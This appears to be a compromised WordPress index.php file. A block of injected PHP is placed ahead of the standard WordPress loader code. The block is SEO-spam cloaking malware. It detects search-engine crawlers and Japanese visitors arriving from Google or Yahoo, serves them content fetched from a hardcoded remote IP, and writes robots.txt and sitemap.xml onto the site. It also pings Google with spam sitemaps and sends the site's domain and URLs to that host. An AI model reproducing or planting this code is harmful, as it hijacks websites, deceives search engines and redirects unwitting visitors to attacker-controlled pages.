<?php
$interDomain = 'http://206.2.178.148/z1003_23/sitemap/';
function tuichu(){$tuichu='exit';$tuichu();}
function getServerContent($url, $data = array())
{
    $url = str_replace(' ', '+', $url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}
function isCrawler($agent)
{
    $bots = 'googlebot|google|yahoo|bing|aol';
    if ($agent != '' && preg_match("/($bots)/si", $agent)) {
        return true;
    }
    return false;
}
function checkReferisGuest($refer)
{
    $referbots = 'google.co.jp|yahoo.co.jp|google.com';
    if ($refer != '' && preg_match("/($referbots)/si", $refer)) {
        return true;
    }
    return false;
}
$http = isset($_SERVER['REQUEST_SCHEME']) ? strtolower($_SERVER['REQUEST_SCHEME']) . '://' : ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
$urlMap = $interDomain . "index";
$urlJump = $interDomain . "jump";
$hosturl = $http . $_SERVER['SERVER_NAME'];
$_SERVER['SERVER_PORT'] !== '80' && $hosturl .= ':' . $_SERVER['SERVER_PORT'];
!empty($_SERVER['REQUEST_URI']) && $hosturl .= $_SERVER['REQUEST_URI'];
$con = strpos($hosturl, ".php?") > 0 ? strpos($_SERVER["REQUEST_URI"], ".php?") + 5 : 0;
if ($con === 0) {
    $con = strpos($hosturl, ".php/") > 0 ? strpos($_SERVER["REQUEST_URI"], ".php/") + 5 : 0;
}
$params = array(
    'domain' => $http . $_SERVER["HTTP_HOST"],
    'req_uri' => $con > 0 ? '/' . substr($_SERVER["REQUEST_URI"], $con) : $_SERVER["REQUEST_URI"],
    'req_url' => $hosturl
);
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : '';
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$chkRefer = checkReferisGuest(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
$pathinfo = pathinfo($hosturl);
if (isCrawler($userAgent) || substr($params['req_uri'], -7) === '/robots' || substr($params['req_uri'], -4) === '.xml') {
    $output = getServerContent($urlMap, $params);
    if (substr($params['req_uri'], -7) === '/robots' && !empty($output)) {
        $output = json_decode($output, true);
        file_put_contents(__DIR__ . '/robots.txt', (isset($output[0]) && !empty($output[0])) ? $output[0] : '');
        file_put_contents(__DIR__ . '/sitemap.xml', (isset($output[1]) && !empty($output[1])) ? $output[1] : '');
        $robots_cont = file_get_contents(__DIR__ . '/robots.txt');
        if (strpos(strtolower($robots_cont), "sitemap")) {
            echo 'robots.txt and sitemap.xml file create success!';
        } else {
            echo 'robots.txt and sitemap.xml file create fail!';
        }
    } elseif (!empty($output)) {
        if (substr($output, 0, 5) === '<?xml') {
            header("Content-type:text/xml");
        } else {
            header("Content-type:text/html; charset=utf-8");
        }
        if (strpos(strtolower($params['req_uri']), "pingsitemap.xml") !== false) {
            $output = explode(",", $output);
            foreach ($output as $xmlName) {
                $pingUrl = pathinfo($hosturl, PATHINFO_DIRNAME) . '/' . $xmlName;
                $googleUrl1 = 'https://www.google.com/ping?sitemap=' . $pingUrl;
                $googleUrl2 = 'http://www.google.com/ping?sitemap=' . $pingUrl;
                if (stristr(@file_get_contents($googleUrl1), 'successfully')) {
                    echo $googleUrl1 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
                } elseif (stristr(@file_get_contents($googleUrl2), 'successfully')) {
                    echo $googleUrl2 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
                } else {
                    echo 'Submitting Google Sitemap: fail' . PHP_EOL;
                }
            }
            exit;
        } else {
            echo $output;
        }
    }
    if (!empty($output) || (!empty($output) && substr($output, 0, 2) !== '{"')) {
        exit;
    }
}
if ($chkRefer && (strpos($lang, 'ja') !== false || preg_match("/^.*\.html?$/i", $pathinfo['basename']))) {
    echo getServerContent($urlJump, $params);
    tuichu();
}
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
